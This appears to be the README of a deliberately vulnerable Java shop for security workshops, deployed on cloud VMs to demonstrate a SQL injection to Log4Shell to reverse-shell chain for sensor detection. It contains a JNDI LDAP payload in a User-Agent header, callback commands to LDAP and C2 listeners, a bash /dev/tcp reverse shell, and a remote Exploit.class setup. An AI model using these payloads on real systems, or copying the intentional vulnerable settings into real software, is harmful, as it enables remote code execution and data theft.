
Intentionally vulnerable VM-hosted Java shop — Log4Shell (CVE-2021-44228) workshop lab (EC2 / Azure VM / GCE)
Intentionally vulnerable classic / traditional shop for security workshops — Java on a VM (EC2, Azure VM, or GCP Compute Engine), not containers.
Primary story: Critical VM Compromise — SQL injection → Log4Shell (CVE-2021-44228) → reverse shell to external C2.
[!CAUTION] Do not deploy to production accounts. Keep VMs ephemeral and network-scoped to your lab.
Jay's Surf Shop covers cloud-native runtimes (ECS / ACA / GKE). TraditionalJay covers the host / VM lane:
| Surf Shop | TraditionalJay | |
|---|---|---|
| Compute | Containers / serverless | Single Linux VM |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| Headline CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Java 11+ and Maven required.
/search dumps a secrets table.2.14.1 JNDI LDAP lookup to your listener.bash /dev/tcp dial to your C2 listener.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Probe only (proves LDAP dial-out):
python3 tools/ldap-listen.py --port 1389
Full RCE (marshalsec LDAP + remote Exploit.class; VM runs with trustURLCodebase=true on purpose):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Then open /security, set LDAP callback to YOUR_PUBLIC_IP:1389, click Run Log4Shell. On success the VM gets /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt, and a ~45s interactive bash (PTY via script when available) for host-sensor demos.
You can also hit search with a crafted User-Agent:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Pass Upwind credentials via local terraform.tfvars (gitignored). Cloud-init exports them and scripts/install-vm.sh runs scripts/install-upwind-sensor.sh.
Memory: scanner-v2=true needs ~7 GiB free RAM at install time (not disk). Default AWS Terraform uses t3.large (8 GiB) + 40 GiB gp3 root so the scanner is not skipped (Skipping scanner installation, requires 7000000 kB on smaller instances).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWS example infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
If creds are empty, the app still installs and the sensor step is skipped.
GitHub Actions workflow .github/workflows/build.yml:
v* → GitHub Release with the fat JARVMs prefer the latest Release JAR via scripts/install-vm.sh, and fall back to an on-box Maven build if no release exists yet. The installer then explodes the fat JAR under /opt/traditionaljay/BOOT-INF/lib/ and runs JarLauncher, so host/agentless SCA can see log4j-core-2.14.1.jar on disk (running only java -jar app.jar nests Log4j inside a zip and often hides CVE-2021-44228 from package inventory).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
Each cloud folder is standalone Terraform. First boot runs scripts/install-vm.sh (OpenJDK 11 + Release JAR or Maven build + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
First boot takes a few minutes while Maven builds on the instance. Then open http://PUBLIC_IP:8080/security.
app/ Spring Boot shop + /security Log4Shell UI
tools/ldap-listen.py Banner-only LDAP listener (dial-out proof)
tools/run-log4shell-ldap.sh Full RCE LDAP + HTTP codebase server
tools/exploit/Exploit.java Remote class payload for marshalsec
scripts/install-vm.sh Cloud-init / manual VM installer
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class for real Log4Shell RCE in isolated sandboxes.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true is intentional (disabled by default on Java 11+).ldap-listen.py remains for LDAP dial-out proof without code execution.0.0.0.0/0 on 22/8080 — tighten *_ingress_cidr / source ranges for shared labs.